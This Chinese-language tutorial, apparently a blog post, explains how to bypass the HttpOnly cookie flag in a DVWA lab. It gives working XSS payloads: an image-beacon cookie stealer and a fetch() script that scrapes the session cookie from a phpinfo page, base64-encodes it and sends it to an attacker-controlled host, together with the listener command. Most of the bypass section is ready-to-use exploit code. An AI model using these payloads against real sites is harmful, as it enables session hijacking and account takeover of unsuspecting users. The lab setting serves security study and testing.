HttpOnly绕过
介绍
在防御XSS漏洞时,目标会启用HttpOnly标志以降低cookie被窃取的风险,常见的绕过方法有TRACE请求、响应中获取cookie、构建Ajax请求(前端漏洞触发后端RCE),今天介绍的是另一种方法。
部署
在开始前,我们先来做个对比实验。
Kali Linux IP:192.168.64.129
DVWA:192.168.64.132
先将DVWA靶机设置为low状态。
在XSS反射型漏洞页面输入payload:
<script>alert(document.cookie)</script>
查看获取到的cookie,可以看到能够获取到PHPSESSID。
我们可以通过浏览器自带的"应用"功能来修改目标状态为开启了HttpOnly。
再次输入获取cookie的payload,即可看到不会显示PHPSESSID了,这就是HttpOnly的功劳。
绕过
既然对方开启了HttpOnly,那么我们应该怎样绕过呢?
通过查看phpinfo文件,我们可以很轻松的看到显示的cookie内容,通过对比可以发现cookie是一致的。
那么我们是否可以通过js构造请求,使其将phpinfo文件中的cookie窃取并发送到攻击者的主机上呢?
答案是可以的,在Kali Linux主机中输入命令开启接收
python3 -m http.server 80
我们先构造一个常用窃取cookie语句:
<script>var i=new Image;i.src="http://192.168.240.129/"+btoa(document.cookie);</script>
执行后,Kali Linux会话会收到接收的cookie
此时并没有获取到PHPSESSID,我们需要构造一个超长payload字符串:
<script>
fetch('http://ip/phpinfo')
.then(response => response.text())
.then(data => {
// 开始字符串和结束字符串,用于过滤HTML内容
const startString = '<tr><td class="e">HTTP_COOKIE </td><td class="v">';
const endString = '</td></tr>';
// 起始字符串索引
const startIndex = data.indexOf(startString) + startString.length;
// 结束字符串索引
const endIndex = data.indexOf(endString, startIndex);
// 获取开始和结束字符串之间的字符串内容
const cookies = data.substring(startIndex, endIndex);
// 将获取到的cookie进行base64加密
const encodedCookies = btoa(cookies);
// 将编码的cookie发送到服务器
fetch('http://ip/' + '?encodedCookies=' + encodedCookies, {
method: 'GET'
});
});
</script>
将其缩为一行内容,然后修改phpinfo文件的IP地址和路径,并修改攻击者的受控主机IP地址:
<script>fetch('http://192.168.64.132/dvwa/phpinfo.php').then(response=>response.text()).then(data=>{const startString='<tr><td class="e">HTTP_COOKIE </td><td class="v">';const endString='</td></tr>';const startIndex=data.indexOf(startString)+startString.length;const endIndex=data.indexOf(endString,startIndex);const cookies=data.substring(startIndex,endIndex);const encodedCookies=btoa(cookies);fetch('http://192.168.64.129/'+'?encodedCookies='+encodedCookies,{method:'GET'});});</script>
在DVWA环境中执行,即可在Kali Linux的会话中收到cookie。
将其解密,即可获取cookie原文。
注意
该场景一是需要目标拥有phpinfo文件,二是phpinfo的文件路径在窃取cookie的应用子路径中,在本例中是窃取的DVWA,路径就是/dvwa/phpinfo,也就是说可以窃取的为DVWA和根路径,但是不能为其它路径。
结语
该思路是一个外国博主Aleksi Kistaur在2021年提出,然后笔者在这个月顺便优化了下,也算是总结一下绕过HttpOnly的方法。